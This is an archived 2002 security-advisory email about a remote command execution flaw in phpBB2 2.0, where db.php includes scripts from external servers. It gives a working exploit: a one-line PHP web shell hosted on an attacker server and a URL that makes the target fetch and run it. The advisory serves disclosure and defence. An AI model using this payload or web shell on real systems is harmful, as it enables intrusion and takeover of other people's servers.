[NEWS] PhpBB2 Remote Command Execution

From: support@securiteam.com
Date: 03/18/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Mon, 18 Mar 2002 23:38:50 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  PhpBB2 Remote Command Execution
------------------------------------------------------------------------

SUMMARY

The phpbb_root_path variable accepts scripts from external servers, which
makes phpBB2 vulnerable to remote execution command using a custom script
written by the attacker.

DETAILS

Vulnerable systems:
phpBB2 version 2.0.
 

The "phpBB2 root path" variable accepts input from other web sites, and
this enables remote attackers to execute arbitrary commands remotely.
The vulnerability lies in the fact that db.php accepts the following
input:
'/phpBB2/includes/db.php?phpbb_root_path=full_path_to_script'
Where the full_path_to_script can be a full URL from another web server.

For example, create a directory called 'db' on your web server. Now at
this db directory create a file called 'mysql.txt' or 'mysql4.txt' or
'postgres.txt' (other file name don't seem to work).

This mysql.txt should contain this line:

       <? echo "<pre>"; system($cmd); ?>

The next step is to type in the following URL in your browser:

http://example.com/phpBB2/includes/db.php?phpbb_root_path=http://your_http_server/&dbms=mysql&phpEx=txt&cmd=uname%20-a

You should get the 'uname result' of example.com

ADDITIONAL INFORMATION

This vulnerability was found by pokley and
<mailto:nullbyte@inetd-secure.net> nullbyte.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages

  • [NT] Cumulative Security Update for Internet Explorer (MS06-013)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get your security news from a reliable source. ... Microsoft Internet Explorer allow attackers to execute arbitrary code, ... A remote code execution vulnerability exists in the way Internet Explorer ...
    (Securiteam)
  • [NT] Cumulative Security Update for Internet Explorer (MS06-021)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get your security news from a reliable source. ... Improper memory and user input handling with Internet Explorer allows ... A remote code execution vulnerability exists in the way Internet Explorer ...
    (Securiteam)
  • [NT] Cumulative Security Update for Internet Explorer (MS05-038)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get your security news from a reliable source. ... A buffer overflow vulnerability within Internet Explorer allows attackers ...
    (Securiteam)
  • [NT] Cumulative Security Update for Internet Explorer (MS04-038)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get your security news from a reliable source. ... CSS Heap Memory Corruption Vulnerability, ... Microsoft Windows NT Server 4.0 Terminal Server Edition Service Pack 6 ...
    (Securiteam)
  • [NT] Cumulative Security Update for Internet Explorer (MS05-054)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... If a user is logged on with administrative user rights, an attacker who ... A remote code execution vulnerability exists in the way Internet Explorer ...
    (Securiteam)